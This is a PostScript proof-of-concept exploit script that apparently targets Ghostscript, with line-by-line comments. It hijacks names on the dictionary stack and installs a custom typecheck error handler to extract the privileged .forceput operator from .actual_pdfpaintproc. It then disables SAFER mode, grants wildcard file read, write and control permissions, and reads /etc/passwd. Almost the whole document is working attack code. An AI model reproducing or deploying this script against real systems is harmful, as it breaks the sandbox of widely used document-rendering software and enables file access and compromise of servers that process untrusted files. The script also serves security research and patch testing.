| 1 |
|
| 2 |
% extract .actual_pdfpaintproc operator from pdfdict |
| 3 |
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def |
| 4 |
|
| 5 |
/exploit { |
| 6 |
(Stage 11: Exploitation...) == |
| 7 |
|
| 8 |
% we cant access the contents of this routine (its executeonly), but it's |
| 9 |
% not an operator, if we can make it stop we can pull out the contents from |
| 10 |
% the error handler. |
| 11 |
|
| 12 |
/forceput exch def |
| 13 |
|
| 14 |
} def |
| 15 |
|
| 16 |
errordict /typecheck { |
| 17 |
/typecount typecount 1 add def |
| 18 |
(Stage 10: /typecheck #) print typecount == |
| 19 |
|
| 20 |
% The first error will be the .knownget, which we handle and setup the |
| 21 |
% stack. The second error will be the ifelse (missing boolean), and then we |
| 22 |
% dump the operands. |
| 23 |
typecount 1 eq { null } if |
| 24 |
typecount 2 eq { pop /extracted exch def stop } if |
| 25 |
typecount 3 eq { exploit } if |
| 26 |
typecount 4 eq { (unexpected) == quit } if |
| 27 |
} put |
| 28 |
|
| 29 |
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some |
| 30 |
% executable errays onto the operand stack that contain .forceput, but are not |
| 31 |
% marked as executeonly or pseudo-operators. |
| 32 |
% |
| 33 |
% The routine was attempting to pass them to ifelse, but we can cause that to |
| 34 |
% fail because when the routine was declared, it used `bind` but many of the |
| 35 |
% names it uses are not operators and so are just looked up in the dictstack. |
| 36 |
% |
| 37 |
% This means we can push a dict onto the dictstack and control how the routine |
| 38 |
% works. |
| 39 |
<< |
| 40 |
/typecount 0 |
| 41 |
/PDFfile { (Stage 0: PDFfile) == currentfile } |
| 42 |
/q { (Stage 1: q) == } % no-op |
| 43 |
/oget { (Stage 3: oget) == pop pop 0 } % clear stack |
| 44 |
/pdfemptycount { (Stage 4: pdfemptycount) == } % no-op |
| 45 |
/gput { (Stage 5: gput) == } % no-op |
| 46 |
/resolvestream { (Stage 6: resolvestream) == } % no-op |
| 47 |
/pdfopdict { (Stage 7: pdfopdict) == } % no-op |
| 48 |
/.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index |
| 49 |
/pdfdict { (Stage 9: pdfdict) == |
| 50 |
% cause a /typecheck error we handle above |
| 51 |
true |
| 52 |
} |
| 53 |
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop |
| 54 |
|
| 55 |
% now that we've unwound from the pseudo-op .actual_pdfpaintproc, call the |
| 56 |
% extracted executeonly branch. |
| 57 |
{ extracted } stopped pop |
| 58 |
|
| 59 |
systemdict /SAFER false forceput |
| 60 |
systemdict /userparams get /PermitFileControl [(*)] forceput |
| 61 |
systemdict /userparams get /PermitFileWriting [(*)] forceput |
| 62 |
systemdict /userparams get /PermitFileReading [(*)] forceput |
| 63 |
|
| 64 |
% All done. |
| 65 |
( Should now have complete control over ghostscript, attempting to read /etc/passwd...) == |
| 66 |
|
| 67 |
% Demonstrate reading a file we shouldnt have access to. |
| 68 |
(/etc/passwd) (r) file dup 64 string readline pop == closefile |
| 69 |
|
| 70 |
quit |